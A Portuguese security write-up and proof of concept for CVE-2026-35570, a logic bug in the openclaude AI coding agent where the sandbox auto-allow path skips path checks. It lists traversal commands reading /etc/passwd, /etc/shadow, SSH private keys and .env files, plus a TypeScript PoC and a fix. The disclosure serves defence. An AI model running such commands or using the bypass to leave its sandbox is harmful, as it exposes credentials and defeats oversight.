rickidevs/cve-2026-35570# Escrita detalhada e prova de conceito para CVE-2026-35570, uma bypass de sandbox no openclaude v0.1.7 que permite path traversal para ler e escrever arquivos arbitrários fora da sandbox.
CVE-2026-35570 | CVSS 8.4 (Alto) | openclaude v0.1.7
Nem toda vulnerabilidade exige uma cadeia de exploração sofisticada. Às vezes, uma única instrução return mal posicionada é suficiente para abrir um buraco direto no seu modelo de segurança. É exatamente isso que a CVE-2026-35570 é.
Este write-up cobre um bypass de sandbox que encontrei no openclaude v0.1.7 — uma falha de lógica que permite que payloads de path traversal passem direto pela camada de isolamento do sistema de arquivos sem nunca serem verificados.
Eu estava revisando o bashPermissions.ts quando algo no fluxo de controle chamou minha atenção. A lógica de permissão parecia razoável à primeira vista — se estamos em uma sandbox, permitir automaticamente o comando; caso contrário, solicitar ao usuário. Simples o suficiente.
Mas uma pergunta não parava de me incomodar: onde a verificação de restrição de caminho realmente acontece?
Rastreei o bashToolHasPermission() de cima a baixo e mapeei o caminho de execução:
bashToolHasPermission()
│
├─ [~1445] Bloco de auto-permissão da sandbox
│ └─ Nenhuma regra de negação encontrada → retorna ALLOW ⚠️ Saída antecipada
│
└─ [~1644] checkPathConstraints() ❌ Nunca alcançado
O bloco da sandbox foi construído para pular prompts interativos de permissão em ambientes sandbox. Totalmente razoável. O problema é que quando ele retorna ALLOW, a função sai ali mesmo. O checkPathConstraints() — a parte realmente responsável por capturar path traversal — nunca é executado.
Dentro do bashToolHasPermission(), o bloco de auto-permissão da sandbox segue esta lógica:
Nesse ponto, o checkPathConstraints() é completamente ignorado. O filtro de path traversal não tem a chance de fazer nada.
Da perspectiva de um atacante, isso significa que comandos como estes passam direto:
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
Todos eles retornam behavior: allow. Sem prompt. Sem bloqueio. Nada.
Três coisas se tornam possíveis quando essa falha está presente:
Leituras arbitrárias de arquivos. Qualquer coisa fora do limite da sandbox é alvo válido — /etc/passwd, /etc/shadow, chaves privadas SSH, arquivos .env. Desde que as permissões de nível de sistema operacional permitam, o arquivo pode ser lido.
Escritas arbitrárias de arquivos. A mesma lógica se aplica ao contrário. Um atacante pode escrever em caminhos fora da sandbox, o que abre a porta para sobrescrever arquivos de configuração ou depositar conteúdo em locais inesperados.
Falha completa do isolamento da sandbox. Todo o propósito da sandbox é impor limites ao sistema de arquivos. Com esse bug presente, essa garantia não significa nada.
CVSS v3.1: 8.4 (Alto) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
A correção é conceitualmente simples. O bloco de auto-permissão da sandbox deve suprimir prompts interativos — só isso. Ele nunca deve interromper prematuramente o pipeline completo de permissões.
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// Só retorna antecipadamente para deny ou ask — nunca pula verificações de caminho em allow
return sandboxResult;
}
// Se allow, continua para checkPathConstraints abaixo
}
// A verificação de path traversal deve sempre ser executada
return checkPathConstraints(input, appState.toolPermissionContext);
A regra prática aqui: a auto-permissão da sandbox pula o prompt, não as verificações de segurança.
| Campo | Detalhe |
|---|---|
| Pacote | openclaude |
| Versão afetada | v0.1.7 |
| Versão corrigida | Nenhuma |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (Alto) |
openclaude v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
Inicie o openclaude com as flags de sandbox e auto-permissão definidas:
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
Os nomes das variáveis podem variar ligeiramente. Verifique a classe
SandboxManagerpara confirmar os mapeamentos exatos das variáveis de ambiente na sua build.
Salve o seguinte como poc.ts na raiz do projeto:
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// Configurar condições de sandbox
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// Payload com path traversal
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Resultado:', result.behavior);
// Esperado: "deny" — path traversal deve ser bloqueado
// Real: "allow" ← vulnerabilidade confirmada
Em seguida, execute:
npx ts-node poc.ts
Você verá:
Resultado: allow
O checkPathConstraints() nunca foi chamado. Para confirmar isso por conta própria, adicione uma linha de log no bashPermissions.ts:
// Por volta da linha 1644
function checkPathConstraints(input, context) {
console.log('checkPathConstraints foi chamado'); // Isso nunca será impresso
// ...
}
Execute o script novamente. O log não aparecerá — a função está genuinamente sendo ignorada.
Abra o openclaude em uma sessão de sandbox e envie o seguinte comando:
cat ../../../../../etc/passwd
Ele é executado sem nenhum prompt de permissão ou bloqueio, e despeja o conteúdo do /etc/passwd diretamente.
CVE-2026-35570